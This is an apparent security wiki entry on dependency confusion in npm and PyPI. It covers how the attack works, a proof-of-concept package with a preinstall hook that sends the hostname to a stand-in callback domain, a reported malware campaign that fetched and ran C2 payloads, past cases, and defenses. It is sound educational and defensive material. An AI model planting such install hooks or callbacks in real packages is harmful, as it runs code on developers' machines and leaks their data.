Dependency Confusion
Publishing a package to a public registry under the name of an organization’s private/internal package, so a misconfigured resolver pulls the attacker’s (usually higher-versioned) public copy and runs its install hooks inside the victim’s network or CI.
How it works
Package managers identify packages by name only. Organizations host internal packages on a private registry (Artifactory, AWS CodeArtifact, an internal PyPI index) and point clients at both private and public sources. If any build resolves an internal name against the public registry, or merges the two and takes the highest version, the attacker wins.
- Recon — harvest internal names from leaked
package.json/requirements.txtin public GitHub repos, misconfigured web directories, JS source maps, error logs, shipped software, or just guess them. - Publish — register the exact name publicly with an inflated version (
99.9.9,99.99.99,100.100.100) so “latest” resolution prefers it over internal1.0.0. - Execute — npm lifecycle scripts (
preinstall/install/postinstall) run arbitrary shell as the installing user duringnpm install; norequire()by victim code is needed. The payload lands on dev workstations and CI runners.
Resolver behavior is ecosystem- and config-specific. The canonical bad config is pip’s discouraged --extra-index-url: with the package present on both the private index and PyPI, pip picks the highest version regardless of source. Andrew Nesbitt’s survey of ~200 package-manager CVEs lists “dependency confusion from incorrect source prioritization” as one of ~20 recurring client-side bug patterns.
Variants:
- Scope/namespace squatting — on npm, registering an organizational scope (
@corp/...) the real org never claimed on the public registry, then publishing the internal package names under it. - Package aliasing — npm aliases (
"string-width-cjs": "npm:string-width@^4.2.0") make anode_modulesentry whose name differs from its contents; Snyk (2021, Nishant Jain) showed the npmjs registry can be fooled into misreporting dependency info via aliasing as a dependency-confusion extension. Audit lockfiles withlockfile-lint. - Hallucinated names — AI-invented dependency names are a sibling vector; see Slopsquatting.
Techniques / payloads
Bug-bounty-safe PoC (no secrets exfiltrated; DNS callback proves execution context):
{ "name": "target-internal-auth-lib", "version": "99.99.99",
"scripts": { "preinstall": "node index.js" } }const dns = require('dns'), os = require('os');
dns.lookup(`${os.hostname()}.your-collaborator.oast.example`, () => {});Test locally with npm install ./target-internal-auth-lib --foreground-scripts and watch the Interactsh/Collaborator callback. Hunting flow: enumerate exposed manifests → check each name against the public registry → unregistered names are candidate internal packages.
Real-world malicious tradecraft (Microsoft, May 2026, oob.moika[.]tech cluster):
- Nine squatted scopes mirroring corporate namespaces (
@cloudplatform-single-spa,@sber-ecom-core,@payments-widget,@data-science, …) with names likesvp-baas,ssh-keys,cp-api-gw. - Spoofed internal metadata:
repository: git+https://github.<scope>.io/platform/<pkg>.git, fakejira.<scope>.io,docs.<scope>.io, author “<Scope> Platform Engineering”. - Version strategy mixed:
100.100.100to win resolution vs realistic3.5.22to blend in. postinstall→ obfuscator.io-stylescripts/postinstall.js→ HTTPS GET to C2 → payload totmpdir→spawn(..., {detached:true}).- Skips execution when
CIis set (avoid monitored pipelines), checks Node ≥ 16, run-once marker in~/.cache/._<scope>_init/,RECON_ONLY=1flag toggled server-side for a later exploitation phase. - Attribution via a shared hard-coded
X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1across three accounts. One account (mr.4nd3r50n) began in April 2024 publishing “BugBounty testing” packages at0.0.0/99.99.99before shipping malware in 2026 — bug-bounty PoC names became a malware foothold.
Notable cases
- Alex Birsan (2021) — named the technique; uploaded benign packages matching leaked/guessable internal names across three ecosystems and got code execution inside Apple, Microsoft and others. Microsoft’s pipelines used
--extra-index-url, so the higher-versioned public packages won. - PyTorch
torchtriton(Dec 2022) — internal dependency hosted on PyTorch’s nightly index; an attacker publishedtorchtritonto PyPI, which took precedence. Nightly builds shipped malware for five days. - Cordova App Harness (2024) — archived Apache project exposed to a higher-versioned
cordova-harness-clienton the public registry. oob.moika[.]techcampaign (May 2026) — 33 packages per Microsoft; SafeDep later counted 179 packages across three accounts and multiple scopes, all exfiltratingprocess.envto/report. See also Malicious Packages.azure-sdk-for-neton npm — flagged by Snyk as a likely dependency-confusion probe against private packages of the same name.
Defenses
- Claim your namespace publicly (npm scope / org) for all internal packages so outsiders can’t publish into it; use unique, non-guessable internal names.
- Never merge public + private indexes by version. Avoid pip
--extra-index-url; route all resolution through one proxy registry that resolves internal names only from the private source (curation-first / “managed ingestion”). - Pin exact versions + commit lockfiles with hashes;
2.1.3, not^2.1.3. Lint lockfiles for unexpected resolved hosts. - Disable install scripts in CI:
npm install --ignore-scripts/npm config set ignore-scripts true(equivalent for pnpm/yarn). - Provenance binding — SLSA: bind each internal package to its authorized builder and canonical source repo; verify build provenance at install. A confused public package can’t forge SLSA L2+ provenance with the right builder ID/repo. See SBOM and Provenance.
- Monitor public registries for packages matching internal names; scan new packages with tools such as GuardDog.
Related
- Software Supply Chain Security
- Typosquatting · Slopsquatting · Malicious Packages
- SBOM and Provenance · CI/CD Pipeline Attacks
- Out-of-Band Detection · Bug Bounty Methodology
Sources
- 5 Examples of Dependency Confusion Attacks (Spectral) · original
- Defender's Perspective: Dep Confusion and Typosquatting (SLSA) · original
- NPM Supply Chain Attacks Explained: Dependency Confusion Exploits and Defense · original
- Malicious npm packages abuse dependency confusion to profile developer environments · original
- Malicious Sicoob NuGet Steals Banking Credentials as npm Packages Target... · original
- Supply chain attacks are exploiting our assumptions (Trail of Bits) · original
- What Is a Dependency Confusion Attack? (Aqua Security) · original
- Protecting Your Software Supply Chain: Typosquatting and Dependency Confusion · original
- The mysterious supply chain concern of string-width-cjs npm package · original
- tl;dr sec #334 (Package Manager CWEs, Thinkst Package Proxy) · original
- The 2026 Guide to Software Supply Chain Security (Cloudsmith) · original